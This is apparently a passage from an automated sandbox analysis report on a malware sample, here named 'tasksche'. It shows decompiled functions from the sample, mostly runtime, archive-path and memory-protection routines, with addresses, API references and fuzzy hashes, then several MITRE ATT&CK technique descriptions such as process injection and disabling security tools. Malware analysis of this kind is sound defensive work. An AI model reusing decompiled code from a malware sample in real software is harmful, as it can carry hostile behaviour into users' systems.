				return _t16 & 0xffffff00 | _t14 == 0x00000004;
			}

0x00411a97
0x00411ab8
0x00411ac0
0x00411ae2
0x00411aef
0x00411afa

APIs

Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D2,00000200), ref: 0040C410
Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D2,00000200), ref: 0040C422

_swprintf.LIBCMT ref: 00411AB8

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

GetLastError.KERNEL32(?), ref: 00411AC0
MessageBoxW.USER32(?,00000000,00000096,00000035), ref: 00411AE2
SetLastError.KERNEL32(00000000), ref: 00411AEF

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastLoadString$Message__vswprintf_c_l_swprintf
String ID:
API String ID: 2205000856-0
Opcode ID: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction ID: 7f3341f69499fe42e6dffd8e50f304e55c87ac1a4f55305a7eb793650ce5b90b
Opcode Fuzzy Hash: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction Fuzzy Hash: 74F02732140114ABF71137E08C4AECA379CFB087C5F000277FA01F21A2EA79996487BD

Uniqueness

Uniqueness Score: -1.00%

Function 00422313 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00422313(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x42da10);
				E0041FA9C(__ebx, __edi, __esi);
				_t28 = E0041E9B4(__ebx, __edx, __edi, _t30);
				_t13 =  *0x430da4; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0041EFA3(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t29 - 0x1c)) = E004222D5(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0042237D();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E0041E9B4(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00421495(_t25, _t26, 0x20);
				}
				return E0041FAE1(_t28);
			}

0x00422313
0x00422313
0x00422313
0x00422313
0x00422313
0x00422315
0x0042231a
0x00422324
0x00422326
0x0042232e
0x00422352
0x00422354
0x0042235a
0x0042235e
0x00422361
0x0042236c
0x0042236f
0x00422376
0x00422330
0x00422330
0x00422334
0x00000000
0x00422336
0x0042233b
0x0042233b
0x00422334
0x00422340
0x00422344
0x00422349
0x00422351

APIs

__getptd.LIBCMT ref: 0042231F

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 00422336
__amsg_exit.LIBCMT ref: 00422344
__lock.LIBCMT ref: 00422354

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction ID: ac1e04e8c31356b773b53a495aea9e08dc5a2d3a98daccf88dafce2968103349
Opcode Fuzzy Hash: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction Fuzzy Hash: D2F09631B00720EBDB60FBB6A50279D73A07F44724F54416FE844AB2D1CBBC9942DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00409DF7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00409DF7(intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				char _v4100;
				char _v8196;
				short _t35;
				signed int _t38;
				short _t48;
				short _t50;
				short _t55;
				short _t56;
				signed int _t61;
				intOrPtr _t63;
				unsigned int _t66;
				signed int _t67;
				void* _t68;
				signed int _t69;

				E0041AAF0(0x2000);
				_t63 = _a4;
				_t66 = _a12;
				_t67 = _t66 & 0x0000ffff;
				_a12 = _t66 >> 0x0000001f & 0x00000001;
				if(_t67 == 0) {
					L25:
					_t63 = E0040A5DB(__eflags, _t63);
					_t68 = E0040A5DB(__eflags, _a8);
					_t35 = E00411E81(__eflags, L"__rar_", _t68, 6);
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						return 0;
					}
					_push(_a12);
					_push(_t68);
					__eflags = _t67 - 2;
					if(_t67 != 2) {
						L17:
						_push(_t63);
						return E00409CD1();
					}
					_push(_t63);
					_t38 = E00409C8B();
					asm("sbb eax, eax");
					return  ~_t38 + 1;
				}
				_t69 = E0041A7AF(_t63);
				if(_t67 == 2 || _t67 == 3 || E00409CAC(_t63, _a8, _t69, _a12) != 0) {
					L8:
					__eflags = _t67 - 1;
					if(_t67 != 1) {
						E0040A7AE(_t63,  &_v4100, 0x800);
						E0040A7AE(_a8,  &_v8196, 0x800);
						__eflags = _t67 - 2;
						if(_t67 == 2) {
							L12:
							_t48 = E00409C8B( &_v4100,  &_v8196, _a12);
							__eflags = _t48;
							if(_t48 != 0) {
								goto L9;
							}
							L13:
							__eflags = _t67 - 4;
							if(_t67 == 4) {
								L15:
								_t50 = E0040A0A4( &_v4100);
								__eflags = _t50;
								if(_t50 == 0) {
									__eflags = _t67 - 4;
									if(_t67 == 4) {
										L22:
										__eflags = _v4100;
										if(__eflags == 0) {
											goto L25;
										}
										_t55 = E00409CAC( &_v4100,  &_v8196, E0041A7AF( &_v4100), _a12);
										L24:
										__eflags = _t55;
										if(__eflags != 0) {
											goto L9;
										}
										goto L25;
									}
									_t56 = E0040A0A4(_t63);
									__eflags = _t56;
									if(_t56 != 0) {
										goto L22;
									}
									_t55 = E00409C8B( &_v4100,  &_v8196, _a12);
									goto L24;
								}
								_push(_a12);
								_push(_a8);
								goto L17;
							}
							__eflags = _t67 - 5;
							if(__eflags != 0) {
								goto L25;
							}
							goto L15;
						}
						__eflags = _t67 - 3;
						if(_t67 != 3) {
							goto L13;
						}
						goto L12;
					}
					goto L9;
				} else {
					_t61 =  *(_a8 + _t69 * 2) & 0x0000ffff;
					if(_t61 == 0x5c || _t61 == 0x2f || _t61 == 0) {
						return 1;
					} else {
						goto L8;
					}
				}
			}

0x00409dff
0x00409e05
0x00409e0a
0x00409e14
0x00409e1a
0x00409e1d
0x00409f41
0x00409f4a
0x00409f53
0x00409f5b
0x00409f60
0x00409f62
0x00409e68
0x00000000
0x00409e68
0x00409f68
0x00409f6b
0x00409f6c
0x00409f6f
0x00409ed7
0x00409ed7
0x00000000
0x00409ed8
0x00409f75
0x00409f76
0x00409f7d
0x00000000
0x00409f7f
0x00409e2a
0x00409e2f
0x00409e63
0x00409e63
0x00409e66
0x00409e7a
0x00409e8a
0x00409e8f
0x00409e92
0x00409e99
0x00409eaa
0x00409eaf
0x00409eb1
0x00000000
0x00000000
0x00409eb3
0x00409eb3
0x00409eb6
0x00409ec1
0x00409ec8
0x00409ecd
0x00409ecf
0x00409ee4
0x00409ee7
0x00409f0b
0x00409f0b
0x00409f13
0x00000000
0x00000000
0x00409f34
0x00409f39
0x00409f39
0x00409f3b
0x00000000
0x00000000
0x00000000
0x00409f3b
0x00409eea
0x00409eef
0x00409ef1
0x00000000
0x00000000
0x00409f04
0x00000000
0x00409f04
0x00409ed1
0x00409ed4
0x00000000
0x00409ed4
0x00409eb8
0x00409ebb
0x00000000
0x00000000
0x00000000
0x00409ebb
0x00409e94
0x00409e97
0x00000000
0x00000000
0x00000000
0x00409e97
0x00000000
0x00409e47
0x00409e4a
0x00409e52
0x00000000
0x00000000
0x00000000
0x00000000
0x00409e52

APIs

_wcslen.LIBCMT ref: 00409E24
_wcslen.LIBCMT ref: 00409F1F

Strings

__rar_, xrefs: 00409F56

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen
String ID: __rar_
API String ID: 176396367-2561138058
Opcode ID: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction ID: 2f22db44ea277558b4e0ddbd7bf004989f9b0852302f55cc0e1d63be076b661c
Opcode Fuzzy Hash: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction Fuzzy Hash: 2E41A176A0021966DF21AA65CC81BEF336DAF54384F08087BF905B31D3D63DCD9187A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEF5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E0040CEF5(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t10;
				long _t11;
				intOrPtr* _t22;
				void* _t23;
				signed int _t30;
				void* _t32;
				signed int _t33;
				intOrPtr _t35;

				_t35 =  *0x438808; // 0x0
				if(_t35 == 0) {
					E0040CEB6(0x438800);
				}
				_t33 = _a8;
				_t10 = _t33 - (_t33 & 0x0000000f);
				_t30 = 0 | _a16 != 0x00000000;
				if(_a12 == 0) {
					_t22 =  *0x43880c; // 0x0
					if(_t22 == 0) {
						goto L10;
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptUnprotectMemory failed");
							goto L6;
						}
					}
				} else {
					_t22 =  *0x438808; // 0x0
					if(_t22 == 0) {
						L10:
						_t11 = GetCurrentProcessId();
						_t23 = 0;
						if(_t33 > 0) {
							_t32 = _t11 + 0x4b;
							do {
								_t11 = _a4 + _t23;
								 *_t11 =  *_t11 ^ _t32 + _t23;
								_t23 = _t23 + 1;
							} while (_t23 < _t33);
						}
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptProtectMemory failed");
							L6:
							_push(0x4335ac);
							E00401000(E00406423(_t22));
							return E00406371(0x4335ac, 2);
						}
					}
				}
				return _t11;
			}

0x0040cefc
0x0040cf02
0x0040cf09
0x0040cf09
0x0040cf0e
0x0040cf1a
0x0040cf1f
0x0040cf25
0x0040cf60
0x0040cf68
0x00000000
0x0040cf6a
0x0040cf6f
0x0040cf73
0x0040cf75
0x00000000
0x0040cf75
0x0040cf73
0x0040cf27
0x0040cf27
0x0040cf2f
0x0040cf7c
0x0040cf7c
0x0040cf82
0x0040cf86
0x0040cf8a
0x0040cf8d
0x0040cf90
0x0040cf96
0x0040cf98
0x0040cf99
0x0040cf8d
0x0040cf31
0x0040cf36
0x0040cf3a
0x0040cf3c
0x0040cf41
0x0040cf46
0x0040cf50
0x00000000
0x0040cf59
0x0040cf3a
0x0040cf2f
0x0040cfa0

APIs

Part of subcall function 0040CEB6: LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

GetCurrentProcessId.KERNEL32(00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?,00000001,?,?), ref: 0040CF7C

Strings

CryptProtectMemory failed, xrefs: 0040CF3C
CryptUnprotectMemory failed, xrefs: 0040CF75

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$CurrentLibraryLoadProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 137661620-396321323
Opcode ID: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction ID: d47b55f9d8946329b2d763cf1c5c736fe64ad30a662938a08eea1033a11e378d
Opcode Fuzzy Hash: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction Fuzzy Hash: C411C171304213AFDB09AF349CD197F6756CB41B14724423FF902AA2C2DA388C41529E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A19D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A19D(signed short* _a4) {
				signed short _t5;
				signed int _t7;
				signed int _t10;
				signed int _t11;
				signed short* _t15;
				signed short* _t21;

				_t21 = _a4;
				if( *_t21 == 0 || _t21[1] == 0 || E0041CA29( &(_t21[2]), 0x3a) == 0) {
					_t5 =  *_t21 & 0x0000ffff;
					_t15 = _t21;
					__eflags = _t5;
					if(_t5 == 0) {
						L13:
						__eflags = 0;
						return 0;
					}
					_t7 = _t5 & 0x0000ffff;
					while(1) {
						__eflags = _t7 - 0x20;
						if(__eflags < 0) {
							goto L3;
						}
						if(__eflags == 0) {
							L9:
							_t10 = E0040A0C5(_t15[1] & 0x0000ffff);
							__eflags = _t10;
							if(_t10 != 0) {
								goto L3;
							}
							L10:
							_t15 =  &(_t15[1]);
							_t7 =  *_t15 & 0x0000ffff;
							__eflags = _t7;
							if(_t7 != 0) {
								continue;
							}
							_t11 = E0041C9E6(_t21, L"?*<>|\"");
							__eflags = _t11;
							if(_t11 != 0) {
								goto L13;
							}
							return _t11 + 1;
						}
						__eflags = _t7 - 0x2e;
						if(_t7 != 0x2e) {
							goto L10;
						}
						goto L9;
					}
					goto L3;
				} else {
					L3:
					return 0;
				}
			}

0x0040a19e
0x0040a1a6
0x0040a1c4
0x0040a1c7
0x0040a1c9
0x0040a1cc
0x0040a20b
0x0040a20b
0x00000000
0x0040a20b
0x0040a1ce
0x0040a1d1
0x0040a1d1
0x0040a1d5
0x00000000
0x00000000
0x0040a1d7
0x0040a1df
0x0040a1e4
0x0040a1e9
0x0040a1eb
0x00000000
0x00000000
0x0040a1ed
0x0040a1ee
0x0040a1ef
0x0040a1f2
0x0040a1f5
0x00000000
0x00000000
0x0040a1fd
0x0040a204
0x0040a206
0x00000000
0x00000000
0x00000000
0x0040a208
0x0040a1d9
0x0040a1dd
0x00000000
0x00000000
0x00000000
0x0040a1dd
0x00000000
0x0040a1c0
0x0040a1c0
0x00000000
0x0040a1c0

APIs

_wcschr.LIBCMT ref: 0040A1B5
_wcspbrk.LIBCMT ref: 0040A1FD

Strings

?*<>|", xrefs: 0040A1F7

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr_wcspbrk
String ID: ?*<>|"
API String ID: 3305141221-226352099
Opcode ID: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction ID: fc4717308da4314e5704a136f2044a521342e33b833bb001f63317f55d448289
Opcode Fuzzy Hash: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction Fuzzy Hash: 1DF0F42912832254DE38A6659805AB333D49F15784F60447FE8D2BA2C2EA3D8CE3C16F

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0041DEAB(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0041A429(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E0041E9B4(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E0041E9B4(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0041A402(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0041DC43(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deae
0x0041deb4
0x0041dec2
0x0041dec8
0x0041ded0
0x0041dedc
0x0041dee4
0x0041deec
0x0041df00
0x0041df02
0x0041df06
0x0041df0b
0x0041df11
0x0041df13
0x0041df15
0x0041df18
0x00000000
0x0041df1f
0x0041df13
0x0041df06
0x0041df00
0x0041deec
0x0041df20

APIs

Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A42F
Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A43F

__getptd.LIBCMT ref: 0041DEBA

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DEC8

Strings

csm, xrefs: 0041DED6

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction ID: 7c6b91792d137033b66a9eec197cc920f164d7126653d302a3e0d72df4157e21
Opcode Fuzzy Hash: 2d55cb122b51988d1cc7e6481490fc99cbdc11bcbdbc1298bbf42470784b3229
Instruction Fuzzy Hash: 040162B5C013148ACF389F25D444AEEB3B6AF14315F24441FE44156791DB38DED1DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00410EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
synchronizationCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00410EA0(void* __ecx, void* _a4) {
				long _t2;
				void* _t6;

				_t6 = __ecx;
				_t2 = WaitForSingleObject(_a4, 0xffffffff);
				if(_t2 == 0xffffffff) {
					_push(GetLastError());
					E00406423(_t6, 0x4335ac, L"\nWaitForMultipleObjects error %d, GetLastError %d", 0xffffffff);
					return E00406371(0x4335ac, 2);
				}
				return _t2;
			}

0x00410ea0
0x00410ea6
0x00410eaf
0x00410eb8
0x00410ec6
0x00000000
0x00410ed7
0x00410ed8

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00410EBB

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction ID: 79dccacb4fa0009262a18c3e3c709d5502c54047c68cfd859e09497cac206ec9
Opcode Fuzzy Hash: ac3bcd71a64bb110093b5bec46156cf20680403487952e12d0601c5134127ac2
Instruction Fuzzy Hash: 13D0C23260402037C5013B245C05EAE36116B11331BA00722F831602F1CB6909A2429F

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
